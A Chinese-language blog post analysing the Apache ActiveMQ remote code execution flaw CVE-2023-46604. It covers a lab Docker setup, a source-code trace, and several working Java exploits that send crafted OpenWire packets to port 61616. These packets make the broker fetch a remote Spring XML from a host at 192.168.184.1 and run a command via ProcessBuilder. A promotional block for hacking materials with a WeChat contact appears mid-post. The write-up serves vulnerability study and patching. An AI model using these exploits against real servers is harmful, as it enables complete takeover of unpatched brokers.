漏洞簡介
Apache ActiveMQ官方發佈新版本,修復了一個遠程代碼執行漏洞(CNVD-2023-69477 CVE-2023-46604),攻擊者可構造惡意請求通過Apache ActiveMQ的61616端口發送惡意數據導致遠程代碼執行,從而完全控制Apache ActiveMQ服務器。
影響版本
Apache ActiveMQ 5.18.0 before 5.18.3
Apache ActiveMQ 5.17.0 before 5.17.6
Apache ActiveMQ 5.16.0 before 5.16.7
Apache ActiveMQ before 5.15.16
Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3
Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6
Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7
Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16
環境搭建
沒有找到合適的 docker 鏡像 ,嘗試自己進行編寫
可以站在巨人的肩膀上進行編寫利用 利用項目 https://github.com/zer0yu/dfimage 分析鏡像的dockerfile
docker pull islandora/activemq:2.0.7
dfimage islandora/activemq:2.0.7
結合 https://activemq.apache.org/version-5-getting-started
Dockerfile
FROM ubuntu
#ENV DEBIAN_FRONTEND noninteractive
RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN apt-get update -y
RUN apt-get install wget -y
RUN apt install openjdk-11-jre-headless -y
COPY apache-activemq-5.18.2-bin.tar.gz /
#RUN wget https://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz
RUN tar zxvf apache-activemq-5.18.2-bin.tar.gz
RUN chmod 755 /apache-activemq-5.18.2/bin/activemq
RUN echo '#!/bin/bash\n\n/apache-activemq-5.18.2/bin/activemq start\ntail -f /dev/null' > start.sh
RUN chmod +x start.sh
EXPOSE 8161 61616
CMD ["/start.sh"]
## 默認啓動後 8161 的管理端口僅能通過 127.0.0.1 本地地址進行訪問 可以通過修改 /conf/jetty.xml
docker-compose.yml
version: "2.2"
services:
activemq:
build: .
ports:
- "8161:8161"
- "61616:61616"
./activemq start
./activemq status
./activemq console
netstat -tuln | grep 8161
netstat -tuln | grep 61616
漏洞分析
下載源代碼 https://archive.apache.org/dist/activemq/5.18.2/activemq-parent-5.18.2-source-release.zip
開啓調試只需要修改 apache-activemq-5.18.2\bin\activemq
https://github.com/apache/activemq/compare/activemq-5.18.2..activemq-5.18.3
新版本的修復位置是在
org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#createThrowable
ClassName 和 message 可控,代表着可以調用任意類的 String 構造方法,AvtiveMQ 內置 Spring,結合 org.springframework.context.support.ClassPathXmlApplicationContext
加載遠程配置文件實現 SPEL 表達式注入。
【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
尋找調用該方法的位置
org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#looseUnmarsalThrowable
繼續向上尋找調用
網上大部分都選用了 ExceptionResponseMarshaller
我們也基於此進行分析
org.apache.activemq.openwire.v11.ExceptionResponseMarshaller#looseUnmarshal
繼續向上尋找調用
org.apache.activemq.openwire.OpenWireFormat#doUnmarshal
我們看到此時 dsm 的值是基於傳入的 dis.readByte();
<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&wireFormat.maxFrameSize=104857600"/>
ActiveMQ中默認的消息協議就是openwire
編寫一個 ActiveMQ 的通信請求
public static void sendToActiveMQ() throws Exception {
/*
* 創建連接工廠,由 ActiveMQ 實現。構造方法參數
* userName 用戶名
* password 密碼
* brokerURL 訪問 ActiveMQ 服務的路徑地址,結構爲: 協議名://主機地址:端口號
*/
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://127.0.0.1:61616");
//創建連接對象
Connection connection = connectionFactory.createConnection();
//啓動連接
connection.start();
/*
* 創建會話,參數含義:
* 1.transacted - 是否使用事務
* 2.acknowledgeMode - 消息確認機制,可選機制爲:
* 1)Session.AUTO_ACKNOWLEDGE - 自動確認消息
* 2)Session.CLIENT_ACKNOWLEDGE - 客戶端確認消息機制
* 3)Session.DUPS_OK_ACKNOWLEDGE - 有副本的客戶端確認消息機制
*/
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
//創建目的地,也就是隊列名
Destination destination = session.createQueue("q_test");
//創建消息生成者,該生成者與目的地綁定
MessageProducer mProducer = session.createProducer(destination);
//創建消息
Message message = session.createTextMessage("Hello, ActiveMQ");
//發送消息
mProducer.send(message);
connection.close();
}
前面的調用棧爲
doUnmarshal:379, OpenWireFormat (org.apache.activemq.openwire)
unmarshal:290, OpenWireFormat (org.apache.activemq.openwire)
readCommand:240, TcpTransport (org.apache.activemq.transport.tcp)
doRun:232, TcpTransport (org.apache.activemq.transport.tcp)
run:215, TcpTransport (org.apache.activemq.transport.tcp)
run:829, Thread (java.lang)
此時 datatype 爲 1 調用的是 WireFormatInfoMarshaller 我們要想辦法調用 datatype 爲 31 的 ExceptionResponseMarshaller
花式觸發 ExceptionResponseMarshaller
現在我們的目的就是爲了去調用 ExceptionResponseMarshaller
尋找觸發 ActiveMQ 中的 ExceptionResponse
函數 org.apache.activemq.ActiveMQSession#asyncSendPacket
和
函數 org.apache.activemq.ActiveMQSession#syncSendPacket
都可以發送 command
最後會調用到 org.apache.activemq.transport.tcp.TcpTransport#oneway
也可以通過 ((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);
和 ((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);
來觸發
public static void ExceptionResponseExploit() throws Exception {
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
Connection connection = connectionFactory.createConnection("admin","admin");
connection.start();
ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
ExceptionResponse expetionResponse = new ExceptionResponse();
expetionResponse.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
ExploitSession.syncSendPacket(expetionResponse);
//ExploitSession.asyncSendPacket(expetionResponse);
//((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);
//((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);
connection.close();
}
由於 ExceptionResponse
實例化的時候必須傳入 Throwable
類型,但是 ClassPathXmlApplicationContext
不是該類型,所以需要 修改 ClassPathXmlApplicationContext
繼承 Throwable
。添加如下代碼
package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Throwable{
public ClassPathXmlApplicationContext(String message) {
super(message);
}
}
相同的方法可以運用在 ConnectionErrorMarshaller 和 MessageAckMarshaller
public static void ConnectionErrorExploit() throws Exception {
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
Connection connection = connectionFactory.createConnection("admin","admin");
connection.start();
ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
ConnectionError connectionError = new ConnectionError();
connectionError.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
//ExploitSession.syncSendPacket(connectionError);
//ExploitSession.asyncSendPacket(connectionError);
((ActiveMQConnection)connection).getTransportChannel().oneway(connectionError);
connection.close();
}
public static void MessageAckExploit() throws Exception {
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
Connection connection = connectionFactory.createConnection("admin","admin");
connection.start();
ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
MessageAck messageAck = new MessageAck();
messageAck.setPoisonCause(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
ExploitSession.syncSendPacket(messageAck);
//ExploitSession.asyncSendPacket(messageAck);
//((ActiveMQConnection)connection).getTransportChannel().oneway(messageAck);
connection.close();
}
通過數據流進行觸發 ExceptionResponseMarshaller
主要是依據 ActiveMQ的協議 去觸發 ExceptionResponseMarshaller
String ip = "127.0.0.1";
int port = 61616;
String pocxml= "http://192.168.184.1:9090/poc.xml";
Socket sck = new Socket(ip, port);
OutputStream os = sck.getOutputStream();
DataOutputStream out = new DataOutputStream(os);
out.writeInt(0); //
out.writeByte(31); //dataType ExceptionResponseMarshaller
out.writeInt(1); //CommandId
out.writeBoolean(true); //ResponseRequired
out.writeInt(1); //CorrelationId
out.writeBoolean(true);
//use true -> red utf-8 string
out.writeBoolean(true);
out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
//use true -> red utf-8 string
out.writeBoolean(true);
out.writeUTF(pocxml);
//call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce
out.close();
os.close();
sck.close();
通過僞造類實現觸發 ExceptionResponse
我們看到 org.apache.activemq.transport.tcp.TcpTransport#readCommand
利用 wireFormat.unmarshal
來對數據進行處理 所以我們找到相對應的 wireFormat.marshal
org.apache.activemq.transport.tcp.TcpTransport#oneway
通過本地新建 org.apache.activemq.transport.tcp.TcpTransport
類重寫對應邏輯,運行時優先觸發本地的 TcpTransport 類
/**
* A one way asynchronous send
*/
@Override
public void oneway(Object command) throws IOException {
checkStarted();
Throwable obj = new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml");
ExceptionResponse response = new ExceptionResponse(obj);
wireFormat.marshal(response, dataOut);
dataOut.flush();
}
將發送的請求無論是什麼數據都修改爲 觸發 ExceptionResponseMarshaller ,同樣也因爲 ExceptionResponse
實例化的時候必須傳入 Throwable
類型,但是 ClassPathXmlApplicationContext
不是該類型,所以需要 修改 ClassPathXmlApplicationContext
繼承 Throwable
。必須添加如下代碼
package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Throwable{
public ClassPathXmlApplicationContext(String message) {
super(message);
}
}
poc.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>touch</value>
<value>/tmp/1.txt</value>
</list>
</constructor-arg>
</bean>
</beans>
漏洞復現
更多網安技能的在線實操練習,請點擊這裏>>